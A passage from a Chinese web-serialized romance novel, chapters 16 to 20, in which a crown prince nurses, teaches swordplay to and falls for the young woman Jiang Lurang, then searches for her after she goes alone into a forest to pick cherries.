说话时,都不敢抬眼看谢知寒,生怕他看到自己眼中的窘迫。 上一次涂药已经是对女孩子家极大的不礼貌,而今晓晓已经醒来,自己一定不能再对她无礼。 可是又实在担心她的伤。 “孤就在门外,你若是有什么不懂得就随时唤我。” 江露染仍旧有些窘迫,但是强自将那些情绪压了下去。 她怎么可以让殿下为自己担心呢,殿下已经对自己很好了,她不可以让殿下分神。 何况是涂药这种小事,完全可以自己来。 江露染回应了谢知寒后,就解开衣衫,用小勺将瓷碗中的药膏涂抹在伤口处。 看着狰狞泛红的伤口,江露染脑海中仍旧还能想起遇刺那日的情景。 当真是万分凶险,她若是晚去一步,说不定受伤的就是殿下了。 一想到殿下会受伤,江露染心中就如针扎般的疼,殿下那般好的人,那些人到底是怎么忍心下的去手。 真是令人可恨。 若是自己会剑术就好了,就可以执剑保护殿下。 谢知寒守护在门外,清冷的身影像是冬日的薄雪,大夫看到谢知寒站在门外,本来以为他涂好了药,谁知走近一看,手中并没有看到瓷碗。 不禁好奇:“郎君今日没有给姑娘涂药?” 谢知寒:“晓晓自己来的。” 大夫心中诧异又好笑,本来看到两人之间的关系还以为两个人已经说开,但是谁成想两个人都如此纯情。 年轻真好。 正想着,房内传来一阵清脆的瓷碗跌碎声。 16. 第 16 章 听到这清脆的声音,谢知寒很快冲进室内,隔着屏风问:“晓晓?” 江露染涂药的时候很是不专心,她的脑海中总是回荡着殿下的脸,她总是会想如果此时殿下在做些什么,这种不专心的后果就是导致在涂好药之后瓷碗重重摔落在地。 她本想用力弯弯腰努力捡起掉落在地上的那只碗。 可是她才用了一点力气,从被衾里探了一点身体出去,就已经感觉到力不从心。 有点累,也不想用力。 这时突然听到门被用力推开的声音,江露染心里一惊,很快缩进了被衾里。 她心里想的是,完了,这下是不是要被骂了。 谢知寒一眼就看到乖巧躺在床上的少女,她长发披肩,脸色有些苍白,显现出不同寻常的脆弱和迷惘,像是一张雪白的宣纸。 看到少女平安无事,谢知寒心中才放下了心。 而后他才看到了地上的瓷碗,此时已经碎了,瓷片四溅开来。 江露染整个人缩在被衾里,只露出一双雾气蒙蒙的眼瞳,里面氤氲着深重的水汽,像是一只走丢的麋鹿。 她的声音也是怯生生的,不仔细听几乎就要听不到。 她对他说:“殿下,我不是故意的。” 她身上的清甜很快传到谢知寒那里,她的声线也是浅浅的,像是有钩子,无时无刻不在扯着他的心。 他当然知道她不是故意的。 没有人会故意打碎一只瓷碗。 谢知寒修长细白的手指捡起瓷碗,江露染很快阻止道:“殿下,别...” 金尊玉贵的殿下怎么可以做这种事情呢?他本来就应该高高在上,对任何事情都风轻云淡。 但是谢知寒仍旧收好了地上的碎片,并且叮嘱她要好好休息。 门外的大夫看着这一切,心中想:小郎君,要是你进去帮小姑娘涂药不就没有事情了吗? 大夫已经促成了不少美满的爱人,对于自己这场牵线还是很有自信的。 只不过这小郎君与小姑娘也太被动了些,几乎是要人推着走,若是不推两个人就都不动。 看的他真是好生着急,真想将两个人绑在一起。 谢知寒也是第一次做这种事情,动作未免有些生疏,当他看到江露染脸庞微微泛着粉色,以为她是在发烧,不由自主地去探她的体温。 谢知寒手心有些凉,轻轻覆在江露染额上,这触感令江露染觉得很舒服,她情不自禁向谢知寒的手心靠拢而去。 动作很是小心翼翼,却又不肯放弃,像一只猫。 谢知寒仔细地去感知她额上的温度,生怕她是伤口引起感染。 片刻后,谢知寒才将手指放下,心中稍稍放松,小姑娘没有生病,原来是自己多虑了。 他本想叮嘱她让她早些休息,但是小姑娘的瞳仁清亮如水,此时正一眨不眨地望着他。 谢知寒才反应过来,方才的距离是不是过于近了些。 对于他们之间来说,好像是的。 可是他之前给她涂过药,那个时候岂不是比现在的距离还要更近一些... 谢知寒脑子昏昏沉沉,他也不知晓方才自己在想些什么。 都是一些什么乱七八糟的。 江露染眼神一错不错看着谢知寒,殿下好像在走神,殿下就连走神也是如此好看,不愧是一国储君。 还有殿下方才主动给她试探温度,殿下是不是主动关心了自己? 谢知寒看着少女泛红的脸庞,清沉的声音响起:“孤的动作是不是有些重?”恐怕是弄疼她了。 江露染缓缓摇头,殿下可没有弄疼自己,再说,殿下是那么温柔的人。 她倒很是担心是自己唐突了殿下。 江露染:“殿下,不疼的。” 其实伤口恢复的很好,没有一点不适,不过每次殿下与自己的距离过于近,她就会情不自禁地紧张,脸颊泛红。 都是她自己的原因。 “殿下,我想休息了。”只好先想一个拙劣的理由将殿下骗走,好缓解一下自己难耐的情绪。 江露染睡梦中都是殿下身上清淡好闻的檀香味道,连带她整个梦都是甜甜的。 这些天来江露染的身体恢复的越发好了,可以下床也可以做些简单的运动了。 大夫捋了捋胡须,把完脉之后对着江露染道:“姑娘这些天的恢复如此迅速可都要多多感谢小郎君的悉心照顾。当然了,还要感谢我这个老头子开的药。” 多亏了殿下,江露染的心跳又加快了,跳动的像一只兔子。 次日晨起,江露染打开窗子,就看到殿下在练剑,一身白衣在竹林中飞快地穿梭,动作很是轻快。 原来殿下的武功也是如此高超,江露染站在窗边不禁看的入神。 清晨的风带来些许凉意,江露染被风吹得裹紧了外衫。 谢知寒回身一眼就看到站在窗边的江露染,她今日穿着一身浅粉的衣裙,衬得她整个人很是娇小,像是一朵盛开的粉色荷花。 她的发丝在清风中微微飞扬。 腰肢纤细,像风中轻轻摇晃的一束花枝,不自觉的令人怜惜。 他只是遥遥地望了她一眼,心里就生出无限感慨。 江露染突然感觉殿下望过来了,两人隔着层层竹林遥遥对视,江露染感觉脸上又开始泛红了。 有一阵风吹来,江露染扶着窗棂轻声咳嗽,清沉的风有些凉,她站的地方又是风口,说不准一会儿就会感染风寒。 谢知寒利落地收剑入鞘,剑刃触碰到剑鞘发出一阵清脆的响声。 谢知寒快步走到江露染面前,将她面前开着的窗子关住,江露染还在愣神的时候,谢知寒已经走到了她面前。 他身上带着些清晨萧索的寒意,与他身上清冷的檀香融合为一体。 谢知寒触了触她苍白的指尖,果然,入手一阵冰凉。 “这么冷为何还站在窗前?” 因为想看你啊殿下,为了你,这点冷算得了什么。 但是话还没说出口,江露染又开始小声咳嗽,谢知寒不赞成地皱了皱眉,沉声唤她:“晓晓。” 江露染看着谢知寒脸色,知晓他不同意自己方才的做法,可是方才自己真的就是想看他练剑而已。 她是这么想的,自然也就这么 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最终的结果就是谢知寒终于妥协了,江露染:“我就知道殿下对我最好了!” 江露染心中还有一个其他的想法,那就是如果学习了剑法以后就可以保护殿下。 她以后一定会跟殿下好好学习剑法的! 害怕江露染再次吹风,谢知寒拿了一件厚厚的披风给她裹上,然后给她穿上厚厚的小靴子,将江露染裹得严严实实,像个密不透风的小粽子。 江露染看着自己浑身的打扮,这哪里像是要去练剑,简直像要连夜去攀爬雪山。 但是她偷偷瞄了一眼谢知寒,看到殿下眼中不容置喙的神色。 好罢,其实这样也很不错,至少摔倒的时候不会很疼。 谢知寒削了一根树枝给江露染,对她道:“可以先用这个练着,不会伤到。” 江露染也知道殿下是为了自己好,可是穿的已经很是随意,手中拿的“剑”更是随意,这看上去一点也不像跟殿下去练剑,倒像是殿下在哄小孩子玩。 江露染:...她到底哪里像小孩子? 好巧不巧,出门的时候遇上南风,南风一看到江露染的打扮就笑起来,直接道:“这是谁家的粽子跑出来了?” 如果眼神可以杀人,那么南风早就死了一万次。 谢知寒轻咳一声,南风这才注意到殿下在江露染身后,看到江露染手中的树枝与殿下手中的长剑形成鲜明对比,南风再一次笑了出来。 “南风。”这一次是殿下的声音。 南风立刻收敛眉眼,规矩起来,江露染瞥他一眼从他身边经过。 南风后知后觉,江露染这是要跟殿下一起去学习剑法? 可是殿下的剑法从小师从的是名家,一向不外传,自己曾经也很想学来着,殿下可是很果断地拒绝了自己。 江露染这个小姑娘是怎样说服殿下的,改日他倒要向她请教一番。 但是,自己方才都那样嘲笑她了,哎,早知道自己就应该忍一下的,应该怎样去哄一哄小姑娘,让她不再对方才的事情生气呢? 17. 第 17 章 谢知寒教江露染的都是最基本的剑招,她大病初愈,身体还没有恢复完全,不适合学太难的动作。 其实他也是第一次教别人练剑,没有什么经验,况且师父教给他的剑招很难,他本以为江露染只是说说而已,兴趣上来随便练练便罢了。 但是江露染跟着他一起练了半个时辰也没有说过一句累,右手仍旧牢牢地握着树枝。 江露染墨色的瞳仁中显现出坚毅的神情,令谢知寒感到有点震惊。 这小姑娘已经无数次超过他对她的了解,越是与小姑娘相熟,他就越感觉到这个小姑娘像是颗宝珠,与他之前见到的所有人都不一样。 练剑回来,其他人已经准备好了晚膳,大夫和小童看到谢知寒和江露染站在一起非常的赏心悦目,小姑娘倾国倾城,而身边的郎君一身白衣,宛若谪仙,站在一起简直就是极为登对,天作之合。 大夫捋了捋胡须,表示对此非常满意,毕竟这俩人自己还出了大力气撮合过,他最希望看到的场面就是两个人在一起。 菘蓝整日都埋在自己的医书里,很少关心其他事,就是有,也是督促南风干活。 今次看到江露染和谢知寒站在一起的模样,菘蓝也是微微一愣,这位姑娘和公子站在一起当真令人心情愉悦。 唯有南风,看着捂成粽子的江露染满心烦忧,他到底要怎样才能不让小姑娘继续生气呢? 江露染脱下厚厚的外衫,看着丰盛的膳食非常不好意思,养伤的这些天一定给大家添了很多麻烦,大家每天都有事要做,还要抽出空来照顾自己,江露染真是觉得很不好意思。 于是她决定要帮助大夫和菘蓝做饭,南风一知道这个消息,心中立刻就有了某种不好的预感。 果然,午膳的时候,南风看着桌上一团黑糊糊的东西,满心疑惑:“这是...?” 江露染颇为自豪,语气清越:“这是我按照书上做的荷花酥。” 南风看着那堆黑糊糊不知名的食物,有些愣神,这是荷花酥?这谁会信啊。 江露染早就猜出南风在想什么,动手夹了一片放到南风面前:“不要看它的模样不好看,但是吃起来还是很美味的,快尝尝合不合口味?” 南风看着面前那片黑糊糊的荷花酥,实在是不想尝试,这哪里还能美味,江露染是当自己傻了不成? 他本想避开江露染亲手做的这道菜,但是殿下的眼神一直注视着自己,看起来还非常有压迫感,南风又想到自己好像还惹了江露染生气,罢了。 为了不让小姑娘生气,日后肯教自己剑法,也为了避开殿下的视线,不就是一道菜么,又不是什么洪水猛兽,他吃就是了。 南风在心中不断给自己鼓劲,用筷子夹起了那片荷花酥,本来以为难以下咽,但是谁料入口味道还可以,有点甜,还点清凉,当然了,还伴随着淡淡的苦味,那是烧焦的味道。 江露染看着南风,眼睛亮晶晶:“怎么样?我就说味道还可以。” 南风:的确是还可以。 南风话还没有说完,就看见谢知寒也夹了一片,南风惊的差点噎到,谢知寒只是淡淡地瞥了他一眼,清浅的瞳仁中带了点点压迫。 虽然这荷花酥味道还可以,但是殿下是何等尊贵的人,这荷花酥都烧成这黑糊糊的模样,殿下多看它一眼都是对殿下的亵渎,殿下怎么可以将这食物吃下去。 但是殿下的眼神是是何其压迫,他又怎敢让殿下停下。 不过,他吃了江露染的食物,想必江露染一定也已经消气了,那么等她练成剑法交给自己岂不是大有希望,南风瞬间也不再纠结方才的事情了。 大夫和菘蓝也尝了一片荷花酥,菘蓝皱了皱眉,大夫捋了捋胡须:“不错,看不出来江姑娘还有如此厨艺,真是令人羡慕。” 大夫像是想起了什么,继而又道:“江姑娘伤势恢复的越发好了,可以下去转转,老是在这一小片地方呆着恐怕会憋闷。” 大夫倒是很懂江露染的心思,知道她一向喜动,伤好了就想到处去闲逛。 大夫视线移到谢知寒身上:“这位小郎君可以陪着江姑娘一起去啊,江姑娘一个人去怕有危险。” 大夫继续捋了捋胡须,姑娘和郎君一起逛街最能促进感情了,自己这个方法真是不错。 谢知寒本来对大夫的这个提议不是很赞同,江露染的伤才刚好,自然不想她做太多剧烈的运动,害怕伤口会感染。 不过看到江露染面上一脸跃跃欲试的表情,若是此时拒绝她,想必她应当会不开心。 不过就是下去一小会儿,应当不妨事。 谢知寒微微点了点头,看到殿下同意了,江露染立刻露出开心的微笑。 殿下同意自己出去玩了! 出门的时候江露染仍旧被谢知寒捂得像个粽子,生怕她受到半点风寒,那么长的台阶,江露染走几步就要停一停,谢知寒也没有说过一句烦。 虽然走几步就要歇一歇,但江露染一点也不觉得痛苦,因为身边就是殿下。 只用眼角的余光就可以看到殿下翩然而动的衣角,鼻尖笼罩着的都是殿下身上清冷的檀香,殿下好听的声音也时时刻刻在自己身边响起。 这简直就是太幸福了,江露染好希望可以时时刻刻都这样。 两个人一起到了山下,来时很是匆忙,并没有发现这里其实也很繁华。 街市很是热闹,行人如织,来来往往。 街市上的好多新鲜小玩意都是曲洲没有的,江露染一时间就逛入了神,她兴奋的在街市上逛来逛去,像只活跃的小白兔。 谢知寒在身后寸步不离地守着她,江露染看到一个悬挂着宝剑的店铺,她突然想起自己晨起的树枝,既然已经下定决心要跟着殿下练剑,那肯定要为自己挑选一柄称心如意的宝剑。 只是,殿下会同意吗? 谢知寒看到江露染的眼眸显现出对这家铺子的喜爱,只是不知为何只是在门前犹豫却不敢进去。 “喜欢?”谢知寒声音清沉,就这么落在江露染耳畔。 江露染望着谢知寒轻轻点了点头。 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掌柜将二人引进里间,姑娘家用的剑都放在这里,江露染看了一排都觉得不是很满意,不是太长就是太重,不太适合她。 谢知寒将选择权全部都交给了江露染,她不喜欢的他自然也跟着不喜欢。 掌柜一看二人选了半天都没有挑到满意的,眼看就要离开,掌柜忍痛道:“若是姑娘这里都没有满意的,我这里还有一把剑,是家中老一辈自己做的,不知姑娘有没有兴趣。” 听到掌柜如此说,江露染一时起了兴趣,跟着掌柜进了内室,果然见到墙上挂了两把剑。 掌柜取下其中一把交给江露染,江露染握着那把剑,剑身很是轻盈,纵使握很久手也不会觉得累,拔剑出鞘,剑刃也是锋利无比,在日光下泛着泠泠的光芒。 江露染一看到这把剑就感到很是喜欢,简直到了爱不释手的地步。 掌柜一看江露染很喜欢,就立刻在一旁添油加醋。 “姑娘真是好眼光,这柄宝剑可是家父专门找人做的,举世无双呢。” 谢知寒:“就要这柄。” 掌柜此时有些难做决定,犹豫道:“只是这剑是一对,名曰风华,姑娘手中拿的便是其中一柄,若是只买一柄,岂不是让家父的心思落空。” 江露染握着剑的手指微微一顿,啊,可是殿下本来就有佩剑,倒也不至于为了自己再买一柄宝剑吧。 虽然她很喜欢这柄剑,但是今日看来还是与这柄宝剑有缘无分了。 江露染依依不舍,刚想将手中剑放下,却见谢知寒直接将一锭银子拿了出来,对着掌柜说两柄剑全都要了。 那锭银子简直能买店铺中一半宝剑,掌柜笑的合不拢嘴,立刻去取墙上剩下的那柄剑。 很快,两人分别拿了一柄剑走出了店铺。 江露染手中握着那柄剑半刻也舍不得分开,谢知寒望着小姑娘含笑的眉眼,淡声问道。 “今日可还开心?” 18. 第 18 章 江露染手中抱着剑柄,将剑身牢牢抱在怀中,头点的像只兔子。 “很喜欢的,谢谢殿下。” 两人还给其他人带了一些好吃的糕点就准备回去了,江露染站在山下看着高高的阶梯,面上显现出苦恼,脸上也皱起来,像个小包子。 谢知寒突然看着她这个模样,突然心中升起一个念头,他想抱着身边的姑娘上山,一级一级走上高耸的阶梯,而后她说什么也不放开她。 谢知寒知晓自己想法很是荒谬,可是他突然很想试试。 他的指尖才刚刚挪动了一点儿,就听到江露染说:“那我们就回去吧,殿下,估计大家等不到我们回去就该着急了。” 说罢,就抬腿拾级而上。 谢知寒一愣,小姑娘这变得也太快了。 不过,以后也可以,反正有的是时间。晓晓方才也说了嘛,是“我们”。 谢知寒跟在江露染身后,亦步亦趋,今日晓晓的情绪很是高涨,应当就是因为买到了心仪的宝剑。 如果她喜欢,他能为她买下的又何止是一柄宝剑。 她想要的,他都会竭尽全力去做到。 两人一起踏上高高的阶梯回了医馆,南风吃到美味的糕点便一点也不计较中午的荷花酥了。 只是看着江露染腰间的佩剑,很是好奇,想要拿过来看看。 眼看南风的手就要碰到剑鞘,江露染轻轻一转,将剑转到了另外的位置,南风再也摸不到了。 “这是殿下送给我的,你弄脏了怎么办。” 南风:“小气鬼,一柄剑而已,早晚都要拿来用,哪里就如此宝贝了?” 南风眼珠一转,顿时计上心头。 “我不看你的宝剑也行,但是你若是学成了殿下的剑法就得教给我。” 江露染思考了良久,多一个人学会剑法就会多一个人保护殿下,这么说好像也可以,况且南风武力本来就高强,若是他再学会殿下的剑法岂不是如虎添翼。 多次思考之下,江露染同意了南风的请求。 江露染将那柄宝剑用棉布擦了又擦,南风觉得她几乎要把那把剑供起来。 南风:何至于如此? 脏了就再让殿下买一把呗,反正殿下也不缺钱。 前两天有些阴云,天气不是很好,今日是一个艳阳天,太阳下去月亮升上来,是一轮明亮的满月,在竹林中和院子里洒满了银霜。 江露染推开窗,看着天上皎洁的月亮,想到谢知寒,殿下就像这天上高悬的明月,清冷而皎洁。 江露染长久地凝视着月亮,心里却在想着殿下,不知此时殿下是在做些什么呢? 刚想到这里,余光就瞥见一抹清冷的白色,在江露染面前一闪而过。 是殿下! 江露染立即追了出去,向着谢知寒的方向疾行而去,堪堪停在那道清冷的白色身影前。 谢知寒看着突然疾行到自己面前的小姑娘,她因为跑得快还有些微微喘息。 谢知寒慢慢拍着她的背帮她顺气,看着她恢复好呼吸,道:“夜里很凉,怎么此时出来了?” 还不是因为想见你,江露染在心中想着。 “夜里很凉,那殿下是为何而出?” 谢知寒抬头看了看天上那轮明亮的满月,眼瞳中含了无数思绪,像是在怀念故人。 殿下,他是在伤心吗? 已经不用谢知寒回答,江露染已经主动说出了答案。 “晓晓也想跟殿下一起看月亮。” 谢知寒回眸与江露染对视,小姑娘眼瞳中显现出了一种倔强,他知道,她不会再听自己的话,乖乖回去了。 也罢,反正是看月亮,他可以把自己的衣服给她,不会让她受凉。 谢知寒伸手揽住小姑娘纤细的腰肢,紧紧将她拥在自己怀中,而后一个轻盈的悬身,已经腾空而起,突然的失重感让江露染始料未及,她轻轻发出一阵惊呼。 “害怕了?”谢知寒的声音就响在耳畔,耳尖有点麻痒,江露染感觉自己脸颊有开始泛红了。 她紧紧捉住谢知寒的衣衫,小声而又倔强地道:“有殿下在,晓晓不怕。” 谢知寒听后没有说话,而是更加用力地抱住了她。 谢知寒带着她来到屋顶,屋顶的风还要凉,谢知寒脱下自己的大氅披在江露染身上。 他的衣服上有清冷的檀香,江露染深深嗅了几下。 江露染视线向下,看到殿下冷白的腕骨上戴着那串乌色的檀珠,想必殿下身上的檀香就是从这串檀珠上来的。 殿下,是每日都在礼佛吗? 殿下,身居高位,又因何原因而礼佛呢? 殿下,他今日看上去怎么这么悲伤?江露染藏在谢知寒氅衣里的细白手指微微蜷了蜷。 谢知寒一直望着头顶的那轮明月,自然没有注意到江露染的小动作。 他在看月亮,而江露染一直在看他。 他很悲伤,她也很悲伤。 她因为他的悲伤而悲伤。 银白的月色同时洒在两个人身上。 良久的静默之后,江露染终于还是忍不住:“殿下,你今天不开心吗?” 我可以帮助你吗?殿下。请不要一个人悲伤,因为这样我也会难过。 谢知寒看到江露染的氅衣有些松了,露出里面她本来的衣衫,伸出手将她的衣领紧了紧。 而后才缓缓开口,声音有些缥缈,让江露染有些心痛。 “原来母后她也喜欢看月亮,今日看到这轮圆月,便想到了母后。” 江露染望着他清隽的侧颜,静静地听着,没有出一声打扰。 “母后她和父皇关系并不好,几乎一见面就会争吵,从我很小的时候,就记得母后总是一个人在殿中看月亮,那几乎是她每天都要做的事情。” “我以为母后是不爱父皇的,但是在她离开的那天,她念念不忘地唤着父皇的名字,那个时候,我才知道母后心中是很爱父皇的。” “可是父皇他,不仅之前和母后争吵,就连母后生了病,也是一次也没有来看望过母后。” “这个人,配不上母后的爱,也配不上我的尊重。” 江露染静静地听着,她仔细观察着殿下脸上的表情,若是他表现出难过,她一定会不顾一切地上去紧紧抱住他。 可惜,殿下一直都很平静,没有不甘,也没有悲痛,只是平静,仿佛在与她讲着别人的故事。 殿下 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江露染绞尽脑汁想着其他有趣的故事,想着话本子里的郎君是如何博美人一笑的。 可惜殿下他实在是个极美的美人,话本子里的法子对殿下来说根本没有用。 江露染正急的焦头烂额,忽然见谢知寒从袖子里拿出一管箫。 谢知寒将短箫置于唇边,转瞬之间便有一阵清越动听的乐曲传来。 江露染望着谢知寒,他清隽的眉眼看上去风轻云淡,仅仅是这一眼,江露染就知晓殿下已经从方才的悲伤中走了出来。 也不知殿下吹的是什么曲子,很是好听,江露染逐渐听的入了神。 殿下如此优秀,不仅会厉害的剑法,而且还会吹好听的曲子,而且殿下写的字还很好看。 江露染迷迷糊糊地想,可是自己什么都不会,连做个荷花酥都做不好,送给殿下的荷包针脚也很粗糙。 江露染心中逐渐漫上铺天盖地的迷惘,宫中一定有很多优秀的女子,殿下会不会嫌弃自己呢? 谢知寒只觉肩侧一沉,耳边听到的是江露染含混不清地呢喃:“殿下,我会努力...做好的...绝对不给...殿下...添麻烦...” 这小姑娘又梦到了什么?难不成是自己在梦中还要为难她? 谢知寒不禁无奈地摇了摇头,看着已经睡熟的江露染满眼都是宠溺。 他从来都没有觉得晓晓是累赘,他反而会害怕晓晓会觉得自己的性子太闷。 他抱紧怀中已经睡熟的小姑娘,打算将她抱下去。 这时江露染在他怀中蹭了蹭,像在向他撒娇,而后莹白如玉的指尖无意识地握住他胸前的衣襟,对着他道:“殿下,晓晓喜欢你。” 谢知寒微微一愣,反应过来晓晓方才说的话,心跳骤然加快,小姑娘的呼吸沉稳且清浅,可见还是在睡着。 可是谢知寒也没有把这句呓语当做戏言,而是认真地回答她。 “孤也心悦你。” 而后在江露染的额上轻轻印上一个吻。 19. 第 19 章 谢知寒将江露染轻轻放到床上,小姑娘的呼吸沉稳,看来应当是做了个好梦。 谢知寒望着她稠丽的眉眼,自己何尝不是做了个好梦。 他自然也希望这个梦可以长一点久一点,永远与她不分开。 谢知寒是第一次知晓喜欢一个人的感受,是快乐,是甜蜜,但这快乐和甜蜜中还掺杂着某种说不清楚的隐痛,他担心她会受到伤害,他担心自己不够好。 他担心这一切都会变成她的负担。 而他只想将快乐和甜蜜带给她,不想看到晓晓痛苦。 一想到回宫,他就会担心,纵使他是位高权重的储君,但是他仍旧有许多不得已。 但是为了晓晓,他愿意去拼一拼。 这一次,他不会再抛下她。 江露染次日醒来,只觉得头有些晕胀,应当是昨晚吹多了冷风,起身看到殿下的大氅还披在自己身上,衣衫上的檀香已经渐渐淡了,江露染捏着氅衣一角,后知后觉,殿下将衣服给了自己,殿下是不是也受凉了? 她连忙起身,殿下早就已经练完了剑,此时朝自己这里看来。 江露染手中抱着谢知寒的氅衣,跑到他面前去。 “殿下,你的衣服。”谢知寒接过大氅,上面沾上了晓晓身上的甜香,味道有些好闻。 江露染想到昨晚明明是想帮殿下走出悲伤,结果自己先睡着了,不好意思地挠了挠头。 江露染决定给殿下做一顿好吃的弥补一下昨晚的小小错误。 “殿下,你有什么想吃的吗?我可以给你做。”小姑娘的眼睛中冒着晶晶亮的光,宛如昨晚的皎洁明月。 谢知寒本能的想回答她,只要是她做的什么都可以。 但是这样回答会不会太敷衍了,小姑娘听了或许会伤心,谢知寒认真思考了一番,说了一道非常简单的菜。 “百宜羹。” 江露染信誓旦旦:“殿下,你放心,我一定将这道菜做的让你满意。” 在谢知寒的注视下,江露染像只兔子一样跑掉了。 江露染回了自己房间仔细翻了菜谱,殿下说的这道菜的确是很简单,可是她想给殿下做的并不只是这样简单的一道菜。 殿下他,真正喜欢的是什么呢? 这个时候就需要南风上场了,江露染拿出前些天下山买的糕点贿赂南风。 “南风,殿下有没有特别喜欢的糕点或者羹汤呢?” 最喜欢的一道菜,南风边吃糕点便回想,殿下这人的口味倒真是一点也不挑食。 也没见他特别喜爱什么或者特别不喜爱什么。 要说殿下最喜欢的一道菜,南风思来想去良久,终于想起殿下小时候很喜欢吃先皇后做的一道甜羹,先皇后在时,殿下几乎每日都会求着先皇后做。 那道甜羹是什么来着,南风仔细回想,终于想起来了,叫樱桃凝露蜜。 “谢谢南风!”江露染得知就立刻跑回了自己房间翻看食谱。 南风连唤住她的机会都没有,小姑娘不会要给殿下做这道甜羹吧,可是这道甜羹并不好做,尤其是需要新鲜的樱桃,还要认真掌握火候。 就连先皇后做的时候,也是非常不容易的。 出于好意,南风还去提醒了江露染:“这道甜羹没有那么简单。” 言下之意就是劝江露染还是趁早放弃为妙,相信江露染这么聪明一定听懂了他的未尽之言。 江露染却闷头翻看菜谱,对南风的话语充耳不闻。 樱桃凝露蜜,食谱上显示的确不怎么简单,比她之前做的都有难度,可是江露染偏偏不怕,越难她就是越要勇攀高峰,既然决定要给殿下做这道甜羹,她就绝对不会半路放弃。 其他的一切都准备妥当,就是差了新鲜的樱桃果,江露染决定下山去看看,为了以防万一,还是带上殿下给自己新买的佩剑。 临走时还嘱咐南风:“若是殿下问起来,就说我下山买首饰去了。” 南风刚想说,殿下那么聪明,我可骗不了殿下。 转头一看,江露染早就已经走了。 南风:... 江露染下山之后走了好久,都没有看到街边有卖樱桃的店铺,问了一个婆婆才知道,原来村落里是有樱桃树的,只不过位置太偏僻了,村民都担心里面会有危险,所以一直以来也没有人去采摘。 江露染才知道原来这就是一直走来没有看到樱桃的原因。 “那,婆婆,樱桃树在哪里呀?” 婆婆指了一个方向,看着江露染惊诧道:“小丫头,你不会要去吧?那里可是从来都没有人去过,很危险的,你一个人怎么能行,这里还有其他的水果不如尝尝别的吧。” 不行,樱桃凝露蜜缺了樱桃就不是那道甜羹了。 没有樱桃就不是殿下喜欢的甜羹了。 不管在哪里,不管有多远,她一定要为殿下采回樱桃,做成那道甜羹。 江露染顺着婆婆手指的方向道:“没关系婆婆,我会武功,不会有事的,你说的樱桃树是在那个方向吗?” 会武功?婆婆半信半疑地看着江露染,这是真的吗? “就在那个方向,一直向西走就可以走到,不过小姑娘我劝你还是别去了,快快回家去吧。” 江露染像西边的方向看了一眼,那里的天色有些阴沉,不过算算脚程,黄昏时分应当可以赶回来。 江露染辞别了婆婆,就独自向着樱桃树的方向前行。 大概走了快两个时辰,终于到了樱桃树所在的地方。 那里是一片绵延不尽的森林,看上去的确很是危险,不知晓茫然闯入里面会冒出些什么东西。 江露染站在外面,心中也是一阵忐忑,毕竟她之前也没有进过如此的茂密的树林。 可是为了殿下,她愿意去闯一闯,再说了,她不是拿了佩剑嘛,这些天跟着殿下练剑已经有了一些小小的进展,就算看见一些害怕的东西她也可以一剑斩过去。 所以,没有什么可害怕的。 江露染就这样鼓励着自己走进了丛林之中。 入眼就是一阵葱郁的绿色,眼前都是很高的树木,枝叶繁密,看不到红色的果实。 或许,樱桃树还在里面?江露染 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眼看天色就要晚了,幸好今天摘到了新鲜的樱桃果子,这下可以放心的给殿下做甜羹了。 江露染正在开心地想着,不留神脚下一滑,脚踩的树枝断了,而树枝之下,就是深不见底的悬崖。 江露染脑海中一片空白,最后的一个念头就是如果再也看不见自己,殿下会不会难过。 她以后再也看不到殿下了。 她的剑招甚至还没有学会,她甚至都没有机会将冒着生命危险采来的果子做成甜羹,殿下甚至都没有吃到。 生死一刻间,她想起来她甚至都没有对殿下表白,她的心意殿下甚至都不知道。 就这样死了也太亏了,江露染闭上眼睛前想。 身体正在沉沉往下坠,江露染以为自己肯定要死掉了,但是没有想到的是落入了一个温暖的怀抱,鼻尖还传来一阵好闻的檀香。 江露染以为自己在死前出现了幻觉,一定是自己太想念殿下了。 谢知寒从清晨起就没有看到江露染,他以为她是在自己房间里研究食谱,是以也没有多想。 直到午时也没有看到江露染的身影,谢知寒这才感觉到不对劲。 江露染一向是活泼跳脱的性子,没道理这么久看不到她,谢知寒还去了她的房间,根本就是空空如也,根本没有她的身影。 去问南风,南风支支吾吾地说她下山去买首饰,可是南风从来不会说谎,支支吾吾的模样一看就是没有说实话。 在谢知寒冷如冰霜的视线下,南风终于招架不住,将江露染下山去找樱桃果子做甜羹的事情全部说了出来。 她自己几乎都没有走过远路,而且最近跟他学的剑术也是半吊子,根本就不能用来防卫,她自己一个人要去哪里摘什么樱桃果子,简直就是胡闹。 谢知寒听完就立刻让南风陪着自己一起去找人,眼看天色就要暗下来了,若是再晚一些,就更加不好找了。 一想到晓晓会出事,谢知寒的心就禁不住地狂跳,到底是谁给她这么大的胆子,让她如此放肆! 20. 第 20 章 谢知寒立刻安排南风也随自己找人,并且给他下了一个命令,以后江露染若是没有自己的允许,哪里也不许去。 南风以后还是任意就将她放走,就要受到重罚。 南风看着殿下凛冽无比的眉眼,感觉到一阵寒冷,虽说他曾经也见过殿下发怒的模样,但是那个时候的殿下与此刻的殿下完全不一样。 此刻的殿下眉宇间充斥着凛冽的杀伐之意,似乎找不到江露染,就会动起杀念。 南风打了个寒颤,他果然应该阻止住江露染,恐怕在殿下心中,成千上万盘樱桃凝露蜜也比不上江露染重要。 两人下了山之后就一直询问路上见过的人,有没有见过一个身姿纤细,腰间佩剑的小姑娘。 问过的路人都说没有见过,眼见天色渐渐晚了,太阳马上就要落下去了。 谢知寒的神色已经无法用冰寒来形容,南风觉得殿下马上就要爆发了。 这时南风问到一个老婆婆,婆婆停下收拾东西的双手:“你说的可是一个小姑娘,长的挺好看的,腰间配了一把长剑,说是要找樱桃树,是她吗?” 南风立刻道:“对对,就是她,请问婆婆这个小姑娘往哪个方向走了?” 婆婆指着西方道:“我让她不要自己一个人去,她不听,那片樱桃林子就在西面,赶紧去吧,一会儿天色晚了就不好了。” 话音刚落,谢知寒就向着婆婆手指的方向去了,南风在身后追也追不上。 殿下的轻功何时这么好了? 谢知寒很快到了那座树林面前,想都没想就要进去,南风连忙拉住谢知寒:“殿下,树林中或许会有危险,还是让属下去将江姑娘找来。” 谢知寒轻轻甩开他的手,理都没有理南风,径直向森林深处走去。 南风心中很是焦急,殿下可是一国储君,万一有个闪失可让自己怎么办,可是又没有办法,殿下一旦做了决定便是任何人来也无法改变他的想法。 南风只好一边留意着殿下的举动,一边在树林中寻找江露染的身影,只期盼着赶紧将江露染找到,这次他可是犯下大错了,以后再也不能听她的话让她乱跑了。 